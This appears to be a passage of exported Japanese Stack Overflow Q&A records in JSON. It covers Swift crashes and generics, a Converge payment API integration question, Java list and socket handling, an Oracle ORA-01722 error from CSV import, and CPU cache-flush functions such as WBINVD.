"last_activity_date": "2017-03-15T02:37:45.090",
"last_edit_date": "2017-01-27T13:32:56.213",
"last_editor_user_id": "8000",
"owner_user_id": "20412",
"post_type": "question",
"score": 0,
"tags": [
"swift",
"iphone"
],
"title": "EXC_BREAKPOINTというエラーが出てしまってどうすればいいのか分かりません。",
"view_count": 12866
} | [
{
"body": "こちらはあなたのコードをSingle View\nApplicationに貼り付けて、Simulatorで実行して実行時エラーが発生したときのXcodeの画面キャプチャーです。\n\n[](https://i.stack.imgur.com/jD6vg.png)\n\n赤丸は **実行時エラーが発生した時に注目して欲しい場所**\nを表しています。左側のスタック情報が、どこでエラーが発生したかを表す重要な情報で、中央下のデバッグコンソールにはエラーの原因を表すこれまた重要な情報が表示されていることが多いです。Xcode上で再現可能な実行時エラーに関する質問では(あるいは質問前に原因を探る時には)、この2箇所にチェックを入れ、その内容を質問文に記載するようにしてください。\n\nちなみにエディター部分はXcodeのメニューで Debug>Debug Workflow から「Always Show\nDisassembly」のチェックマークを外しておくと、分かりにくいアセンブラー形式ではなく、Swiftのソースコードが表示されるはずです。\n\n* * *\n\nさて、今回の件でチェックして欲しいのはデバッグコンソールです。\n\n> **fatal error: unexpectedly found nil while unwrapping an Optional value**\n\nと言う表示がありませんか?\n\nもし上の表示が出ていたとしたら、あなたのエラーの原因はこの行にあります。\n\n```\n\n //プレビュー用のビューとoutlet接続しておく\n @IBOutlet weak var previewView:UIView!\n \n```\n\nあなたのコードの中で`previewView`は`UIView!`型と宣言されています。これは「`previewView`が`nil`のままで使おうとしたらアプリをクラッシュさせてください」とSwiftに指示したことになります。で、`nil`のまま使ったので、言われた通りにクラッシュした、と言うのが上のXcode画面に示した状態です。\n\n上記の行のコメントに`//プレビュー用のビューとoutlet接続しておく`と記載されていますが、あなたはstoryboard上でUIViewをViewControllerに追加し、そのUIViewをソースコード内の`previewView`と正しく結びつけたでしょうか?\n\n(結びつけを行った後に、あちこち修正すると見かけ上はつながっているはずの結びつきが切れてしまうこともあります。)\n\nとりあえず、上記の **unexpectedly found nil**\nが当たっているなら、`@IBOutlet`の結びつけがちゃんとできているか再度確認してみてください。(一度消して、再度繋ぎ直したほうが良いかもしれません。)\n\nもし当たっていない場合には、図の中の赤丸で示した部分の情報の質問文への追記をお願いします。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T12:32:09.710",
"id": "32206",
"last_activity_date": "2017-01-27T12:32:09.710",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13972",
"parent_id": "32185",
"post_type": "answer",
"score": 1
}
]
| 32185 | null | 32206 |
{
"accepted_answer_id": null,
"answer_count": 1,
"body": "<https://www.convergepay.com/converge-webapp/developer/#/welcome> (英語サイト)\n\nEC/wordpressサイトにクレカ決済を導入したいと考えています。 \n使用するのはリスト内 In-app payments の ElavonPay という決済方法で、Converge APIを使用する予定です。 \nElavon(北米のクレカ決済代行会社)にて、PINコードは取得済みです。\n\n私の開発レベルとしては、Code\nsamplesのページ等が助けになるかと思い、wordpressなのでひとまずPHP形式を使用するのだろう・・・といったところです。 \n<https://www.convergepay.com/converge-webapp/developer/#/converge/samples> \n上記サンプルコードより、アカウントID等を編集した後の作業がどんなものになるのか知りたいです。\n\n * converge.php\n * error.php\n * response.php\n * PHP Batch Import Script\n\nサンプルページにある、これらのファイルのみで導入可能なんでしょうか。 \n他に必要なデータはありますか?\n\nお時間のある方、詳細な導入方法を教えて頂けたら幸いです。 \nこちらの提示した情報で何か足りないようでしたら、提供できます。\n\nよろしくお願いいたします。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T06:13:27.147",
"favorite_count": 0,
"id": "32190",
"last_activity_date": "2017-01-28T03:56:57.437",
"last_edit_date": "2017-01-27T18:13:04.590",
"last_editor_user_id": "20039",
"owner_user_id": "20039",
"post_type": "question",
"score": -3,
"tags": [
"api",
"wordpress"
],
"title": "クレカ決済APIをwordpress(woocommerce)に導入する方法",
"view_count": 251
} | [
{
"body": "> サンプルページにある、これらのファイルのみで導入可能なんでしょうか。\n\nサンプルコードはAPIの呼び出し方を説明しているだけで、そこに必要な情報を集めたり、APIの呼び出し結果をユーザーに示すページや処理は\n**あなたが書かないといけません** 。\n\nIDやPINをはめ込んでどこかに配置すれば完成、とはなりません。\n\nちなみに、PHPのサンプルコードでは決済ごとに変化するパラメータ(カード番号や決済金額など)を `$_REQUEST`\nから機械的に転記するコードになっているようなので、それらのパラメータはコード中に記載がありません。そこはきちんとリファレンスを読まなければいけませんし、そもそもこのロジックをそのまま使うのはセキュリティ的にも問題がありそうな…。\n\nもし WooCommerce を使われているのであれば、下記のプラグインを買った方が早いでしょう。\n\n[Elavon Converge Payment Gateway -\nWooCommerce](https://docs.woocommerce.com/document/elavon-vm-payment-gateway/)",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-28T03:56:57.437",
"id": "32215",
"last_activity_date": "2017-01-28T03:56:57.437",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "8000",
"parent_id": "32190",
"post_type": "answer",
"score": 1
}
]
| 32190 | null | 32215 |
{
"accepted_answer_id": "32192",
"answer_count": 1,
"body": "`List<List<String>>`から`List<String>`へ分割する方法がわかりません。\n\ncsvResultとして、`[[\"商品コード], [\", \"商品名], [\", \"金額], [\", 数量, おすすめ], [, ドトールコーヒー, 500,\n30, 1], [, エクシオール, 300, 50, 0], [, スタバもか, 400, 40, 1], [518, green, 444, 35,\n0]]`のように今CSVファイルを読み込ませてListを取得しました。 \n今、 csvWriteControllerには\n\n```\n\n List<List<String>> csvResult = csvReading.read();\n \n try {\n for(int i=0; i<csvResult.size(); i++) {\n System.out.println(csvResult[i]);\n }\n }\n \n```\n\nと記載したのですが、`csvResult[i]`が`List<List<String>>`型ではつかえないとエラーが出ました。 \nどのように書けばよいのでしょうか?",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T06:18:58.243",
"favorite_count": 0,
"id": "32191",
"last_activity_date": "2018-03-03T21:15:45.787",
"last_edit_date": "2018-03-03T21:15:45.787",
"last_editor_user_id": "4236",
"owner_user_id": "20417",
"post_type": "question",
"score": -1,
"tags": [
"java"
],
"title": "List<List<String>>からList<String>へ分割する方法",
"view_count": 1742
} | [
{
"body": "csvResultは配列ではありませんので、[]というオペレーターはサポートしていません。 \n`csvResult[i]`を`csvResult.get(i)`に変更してください。 \nまた、`System.out.println()`は`List<String>`を出力することはできませんので、 \n`csvResult.get(i)`に対して、`for`文で文字列を出力してください。\n\n```\n\n List<List<String>> csvResult = csvReading.read();\n \n try {\n for(int i = 0; i < csvResult.size(); i++) {\n if (null != csvResult.get(i)) {\n for (int j = 0; j < csvResult.get(i).size(); j++) {\n System.out.println(csvResult.get(i).get(j));\n }\n }\n }\n }\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T06:46:57.400",
"id": "32192",
"last_activity_date": "2017-01-27T06:46:57.400",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13152",
"parent_id": "32191",
"post_type": "answer",
"score": 1
}
]
| 32191 | 32192 | 32192 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "JavaのSocket通信について質問です。 \n以下のソースがあったとして、 \nこのソースでは`res.write(request);`でリクエストを送信後、 \n`res.flush();`でフラッシュしています。 \nこの後、レスポンスを受信する処理が続きます。 \nリクエストを送信して何も応答がなかった場合、どうなるのでしょうか? \n処理が止まってしまうのでしょうか? \nまたはExceptionが発生してしまうのでしょうか?\n\n```\n\n OutputStreamWriter writer = new OutputStreamWriter(socket.getOutputStream());\n res = new PrintWriter(writer);\n requ = new BufferedReader(new InputStreamReader(socket.getInputStream()));\n \n // リクエスト送信\n res.write(request);\n res.flush();\n \n // レスポンス受信\n SocketResponse response = req.parseResponse(requ);\n \n```",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T07:27:13.350",
"favorite_count": 0,
"id": "32194",
"last_activity_date": "2018-12-04T03:02:59.730",
"last_edit_date": "2017-01-27T12:19:08.610",
"last_editor_user_id": "19110",
"owner_user_id": "20418",
"post_type": "question",
"score": 1,
"tags": [
"java",
"socket"
],
"title": "JavaのSocket通信について",
"view_count": 2123
} | [
{
"body": "SocketTimeoutExceptionが発生するのでは? \n<https://docs.oracle.com/javase/jp/8/docs/api/java/net/SocketTimeoutException.html>",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-03-01T07:56:29.383",
"id": "33010",
"last_activity_date": "2017-03-01T07:56:29.383",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20758",
"parent_id": "32194",
"post_type": "answer",
"score": 0
},
{
"body": "応答がなかった時にプログラムが止まってしまわないように、socketにsetSoTimeoutメソッドを使ってタイムアウト時間を設定します。\n\n```\n\n socket.setSoTimeout(2000);\n \n```\n\nというような感じで。(タイムアウト時間はミリ秒単位で指定しますので、上の例では2秒以内に受信できなかったらSocketTimeoutExceptionが発生します)\n\nSocketのタイムアウトのデフォールトは0(無限)になっているので、タイムアウト時間の設定を習慣にしたほうが\"プログラムが止まってるみたいだけど、、、\"というトラブルを減らせます。",
"comment_count": 0,
"content_license": "CC BY-SA 4.0",
"creation_date": "2018-12-04T03:02:59.730",
"id": "50888",
"last_activity_date": "2018-12-04T03:02:59.730",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "217",
"parent_id": "32194",
"post_type": "answer",
"score": 1
}
]
| 32194 | null | 50888 |
{
"accepted_answer_id": "32198",
"answer_count": 1,
"body": "配列の4の倍数目の要素が空かどうか調べたいです。\n\nリスト<リスト<ストリング>>型の csvResult の配列の4の倍数目の要素が空かどうか調べたく、\n\n```\n\n for(int i = 4; i < csvResult.size(); i++) {\n if (null != csvResult.get(i)) {\n for (int j = 0; j < csvResult.get(i).size(); j++) {\n System.out.println(\"csvResult\"+csvResult.get(i).get(j));\n if(csvResult.get(i) /4 != null){\n itemDao = new T001ItemDao();\n int itembean = itemDao.update(code, name, unitPrice, count);\n request.setAttribute(\"itembean\", itembean);\n nextPage = \"/list.jsp\";\n }else{\n int result = itemDao.addItem(name, unitPrice, count,isPR,img);\n if (result == 1) {\n nextPage = \"/list.jsp\";\n } else {\n nextPage = \"/add.jsp\";\n }\n }\n }\n }\n \n }\n \n```\n\nと書きました。 \nしかし、 `if(csvResult.get(i) /4 != null)` \nの部分で 演算子 / は引数の型 List, int で未定義です とエラーが出てしまいました。どのように書けば正しく処理が行えるでしょうか?\n\nちなみに、4の倍数目の要素が空かどうかでデータベースへの登録処理を変えたいです。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T07:57:45.087",
"favorite_count": 0,
"id": "32196",
"last_activity_date": "2018-03-03T21:15:55.473",
"last_edit_date": "2018-03-03T21:15:55.473",
"last_editor_user_id": "4236",
"owner_user_id": "20417",
"post_type": "question",
"score": -1,
"tags": [
"java",
"jsp",
"servlet"
],
"title": "配列の4の倍数目の要素が空かどうか調べたい",
"view_count": 558
} | [
{
"body": "'i'はインデックスですから、'i'で判断して良いと思います。\n\n```\n\n if (0 == (i % 4))\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T08:15:35.640",
"id": "32198",
"last_activity_date": "2017-01-27T08:15:35.640",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "13152",
"parent_id": "32196",
"post_type": "answer",
"score": 1
}
]
| 32196 | 32198 | 32198 |
{
"accepted_answer_id": "32204",
"answer_count": 1,
"body": "プロトコルについて勉強をしていますが、何かもう一つ理解ができません。 \n下記は、数値の範囲をコードポイントと見立てて、指定されたコードポイントを文字に表示する \n関数をジェネリックにしたいと思っています。 \n指定された数値を、Int型にして、コードポイントに変換して表示しようと思っていますが、 \n条件の立て方が分かりません。下記のコードでは、T型をIntegerプロトコル適合したところで、Intのイニシャライザでは、どの型になるのか(またはIntegerプロトコルから作成した型を独自に作成した場合もある)が分からないので、コンパイルが通らないことは理解できました。 \nが、問題が解決できません。UInt8,UInt16,UInt32,Int型に対応したいと思っています。\n\n```\n\n func codePointToMoji<T:Integer>(_ range:CountableClosedRange<T>)->Void{\n \n for c in range\n {\n let codePoint = Int(c)\n let d = UnicodeScalar(codePoint) \n if let s = d{\n print(s)\n }\n }\n }\n \n \n var a = (0 as UInt8)...71\n var b = (48165 as UInt16)...48170\n var c = 0x0300...0x036F\n \n \n \n codePointToMoji(a)\n codePointToMoji(b)\n codePointToMoji(c)\n \n```",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T08:10:56.747",
"favorite_count": 0,
"id": "32197",
"last_activity_date": "2017-01-28T06:32:19.973",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "11148",
"post_type": "question",
"score": 1,
"tags": [
"swift",
"swift3"
],
"title": "プロトコルを条件で使うには",
"view_count": 97
} | [
{
"body": "このように変更を加えると、エラーなしで実行できるようになりました。\n\n```\n\n func codePointToMoji<T:Integer>(_ range:CountableClosedRange<T>)->Void{\n \n for c in range\n {\n let codePoint = Int(c.toIntMax()) // 変更\n let d = UnicodeScalar(codePoint)\n if let s = d{\n print(s)\n }\n }\n }\n \n \n var a = (0 as UInt8)...71\n var b = (48165 as UInt16)...48170\n var c = 0x0300...0x036F\n \n \n \n codePointToMoji(a)\n codePointToMoji(b)\n codePointToMoji(c)\n \n```\n\n`toIntMax()`は、`Integer`プロトコルがInheritしている`_Integer`プロトコルがInheritしている`IntegerArithmetic`プロトコルが実装しています。`IntMax`型の整数値を返し、`IntMax`型は、`Int64`のTypeAliasです。そのままでは`UnicodeScalar`のイニシアライザに渡せないので、`Int()`で変換しています。この`toIntMax()`メソッドは、重要なキーワードのような気がしています。",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T10:47:40.777",
"id": "32204",
"last_activity_date": "2017-01-28T06:32:19.973",
"last_edit_date": "2017-01-28T06:32:19.973",
"last_editor_user_id": "18540",
"owner_user_id": "18540",
"parent_id": "32197",
"post_type": "answer",
"score": 2
}
]
| 32197 | 32204 | 32204 |
{
"accepted_answer_id": null,
"answer_count": 2,
"body": "`java.sql.SQLSyntaxErrorException: ORA-01722:\n数値が無効です。`のエラーが出ました。CSVファイルを読み込ませ、データベースに記入するシステムを作りたく、その途中で上記のエラーが出ました。\n\nCSV書き込みのコントローラに\n\n```\n\n protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n // TODO Auto-generated method stub\n CSVReader csvReading;\n String fileName;\n T001ItemDao itemDao;\n String nextPage = \"\";\n \n String name = request.getParameter(\"name\");\n String code = request.getParameter(\"code\");\n // //金額の取得\n String unitPrice = request.getParameter(\"unitPrice\");\n // 数量の取得\n String count = request.getParameter(\"count\");\n String isPR = request.getParameter(\"isPR\");\n String img = request.getParameter(\"image\");\n ServletContext con = getServletConfig().getServletContext();\n \n csvReading = new CSVReader();\n csvReading.csvAdd(request,con);\n \n List<List<String>> csvResult = csvReading.read();\n \n \n for(int i = 4; i < csvResult.size(); i++) {\n if (null != csvResult.get(i)) {\n for (int j = 0; j < csvResult.get(i).size(); j++) {\n System.out.println(\"csvResult\"+csvResult.get(i).get(j));\n if (0 == (i % 4)){\n \n try {\n itemDao = new T001ItemDao();\n int itembean = itemDao.update(code, name, unitPrice, count);\n request.setAttribute(\"itembean\", itembean);\n nextPage = \"/list.jsp\";\n } catch (ClassNotFoundException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n } catch (SQLException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n }\n \n }else{\n try {\n itemDao = new T001ItemDao();\n int result = itemDao.addItem(name, unitPrice, count,isPR,img);\n if (result == 1) {\n nextPage = \"/list.jsp\";\n } else {\n nextPage = \"/add.jsp\";\n }\n } catch (ClassNotFoundException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n } catch (SQLException e) {\n // TODO 自動生成された catch ブロック\n e.printStackTrace();\n }\n }\n }\n }\n \n }\n \n System.out.println(\"csvResult\"+csvResult);\n }\n \n```\n\nと書き、CSV書き込みのクラスに\n\n```\n\n public List<List<String>> read() {\n \n // 返却用リスト箱作成\n List<List<String>> ret = new ArrayList<List<String>>();\n if (fileName != null) {\n System.out.println(\"fileName\" + fileName);\n String inputCsvFile = \"C:\\\\pleiades\\\\workspace\\\\hasuike\\\\jspServlet\\\\WebContent\\\\csv\\\\test1.csv\";\n File csv = new File(inputCsvFile);\n System.out.println(csv);\n \n BufferedReader br = null;\n \n try {\n int lineCount = 0;\n // ファイルオープン\n br = new BufferedReader(new FileReader(csv));\n \n // num行読み込む(0の場合は全行)\n String line = \"\";\n int idx = 0;\n while ((line = br.readLine()) != null) {\n lineCount++;\n \n // 1行を格納する箱作成\n List<String> tmpList = new ArrayList<String>();\n \n // 文字列index\n int idxFrom = 0;\n int idxTo = 0;\n // 文字列長\n while (true) {\n \n // 最終項目を取得後は終了\n if (idxFrom > line.length()) {\n break;\n }\n \n // 次のセパレータ位置を取得\n idxTo = line.indexOf(\",\", idxFrom);\n \n // セパレータが発見できない場合は最終項目を取得\n if (idxTo == -1) {\n idxTo = line.length();\n }\n \n // 文字列取得\n String word = line.substring(idxFrom, idxTo);\n \n // 文字列を格納\n tmpList.add(word);\n \n // 検索開始位置を更新\n idxFrom = idxTo + 1;\n }\n \n // 返却用リストに1行データを格納\n ret.add(tmpList);\n \n // numを超えたら読み込み終了。numが0のときは全量読む。\n if (lineCount != 0 && idx > lineCount) {\n \n break;\n }\n }\n } catch (FileNotFoundException e) {\n e.printStackTrace();\n } catch (IOException e) {\n e.printStackTrace();\n } finally {\n try {\n if (br != null) {\n br.close();\n }\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n return ret;\n }\n \n```\n\nと書きました。エラーの内容を調べてみると型変換の失敗時に出るエラーであるとわかりました。 \nとってきて `csvResult`に入れるリストが`[, スタバもか, 400, 40, 1], [518, green, 444, 35,\n0]]`のように配列の最初の要素が空である場合があります。 \nそれにより、エラーが出たのかな、とはおもうのですが、直し方がわからず... \n(そもそもその部分ではないかもしれません)\n\nどのように直せばよいのでしょうか?",
"comment_count": 2,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T09:05:57.613",
"favorite_count": 0,
"id": "32200",
"last_activity_date": "2018-03-03T21:15:33.600",
"last_edit_date": "2018-03-03T21:15:33.600",
"last_editor_user_id": "4236",
"owner_user_id": "20417",
"post_type": "question",
"score": -1,
"tags": [
"java",
"jsp",
"servlet"
],
"title": "java.sql.SQLSyntaxErrorException: ORA-01722: 数値が無効です。 のエラー",
"view_count": 4898
} | [
{
"body": "エラーが出ているならエラーログを貼り付けたほうがよいです。 \nまた、読み込んだデータ等も示せたほうがよいです。\n\n\"数値が無効\"、\"配列に空が存在する\"であれば、空を読み込んだ際にString型の空文字となり、それをそのままデータベースに突っ込もうとして型変換エラーになっているのではないでしょうか。 \nテーブル定義を確認してみてください。 \n空以外の場合は暗黙の型変換でうまくいっているのでしょう。\n\nどうやって直せば・・・については、ファイルを読み込んだときに空文字を変換するか、DBにINSERTするときに空文字を変換するか、くらいかと思います。 \n前者であれば、`//\n文字列取得`の後に空文字判定を入れるか、校舎であれば、for文のどこかなんでしょうがちょっと提示されているコードからは処理の全容がつかめないので具体的にはいえません。\n\nちなみに、\"CSV書き込み\"ってCSVファイルへのデータの書き出しという印象を受けますが、CSVファイルをDBへ書き込み、という意味ですよねきっと。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-21T08:34:15.633",
"id": "32834",
"last_activity_date": "2017-02-21T08:34:15.633",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20758",
"parent_id": "32200",
"post_type": "answer",
"score": 1
},
{
"body": "エラーメッセージを記載してください。\n\n> java.sql.SQLSyntaxErrorException: ORA-01722: 数値が無効です\n\nは、Oracleの文字型 → 数値型への内部的な型変換に失敗したときに発生します。 \n型変換は、変換対象の文字列に、数値、小数点、符号以外の文字が含まれる場合に失敗します。",
"comment_count": 0,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-02-22T02:09:13.247",
"id": "32857",
"last_activity_date": "2017-02-22T02:09:13.247",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "20767",
"parent_id": "32200",
"post_type": "answer",
"score": 1
}
]
| 32200 | null | 32834 |
{
"accepted_answer_id": "32239",
"answer_count": 2,
"body": "WindowsやLinuxにおいて、ドライバ開発をする際にはCPU Cache操作が必要になることがあるとおもいますが、CPU\nCacheをWritebackしたり、Invalidateしたりする関数はあるのでしょうか?\n\nx86の命令には、WBINVD命令(Write Back and Invalidate Cache)やINVD命令(Invalidate Internal\nCaches)があると思うので最終的にはこの命令を呼ぶとおもうのですが、これらをラップした関数が用意されているのか教えていただきたいです。",
"comment_count": 3,
"content_license": "CC BY-SA 4.0",
"creation_date": "2017-01-27T09:40:56.880",
"favorite_count": 0,
"id": "32201",
"last_activity_date": "2022-07-18T07:49:16.610",
"last_edit_date": "2022-07-18T07:49:16.610",
"last_editor_user_id": "3060",
"owner_user_id": "4260",
"post_type": "question",
"score": 0,
"tags": [
"linux",
"windows",
"cpu"
],
"title": "WindowsやLinuxにおいて、CPU CacheをWritebackしたり、Invalidateしたりする関数はあるのでしょうか?",
"view_count": 853
} | [
{
"body": "メモリマップドI/Oとかでしょうか。\n\nたとえばLinuxに含まれるfbdev(フレームバッファドライバ)の場合、wbinvdをインラインアセンブラで呼び出すインライン関数を定義しています。\n\n```\n\n static inline void flush_cache(void)\n {\n asm volatile (\"wbinvd\":::\"memory\");\n }\n \n```\n\nまあ、ラップしなくちゃならないほどのものでもないかと。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-27T15:10:51.933",
"id": "32209",
"last_activity_date": "2017-01-27T15:10:51.933",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4010",
"parent_id": "32201",
"post_type": "answer",
"score": 1
},
{
"body": "Visual\nC++ですと[`<intrin.h>`ヘッダーに定義されている`__wbinvd`関数](https://msdn.microsoft.com/ja-\njp/library/ct1z0fcz.aspx)を使うことで`WBINVD`命令に展開できます。",
"comment_count": 1,
"content_license": "CC BY-SA 3.0",
"creation_date": "2017-01-30T01:31:21.800",
"id": "32239",
"last_activity_date": "2017-01-30T01:31:21.800",
"last_edit_date": null,
"last_editor_user_id": null,
"owner_user_id": "4236",
"parent_id": "32201",
"post_type": "answer",
"score": 1
}
]
| 32201 | 32239 | 32209 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.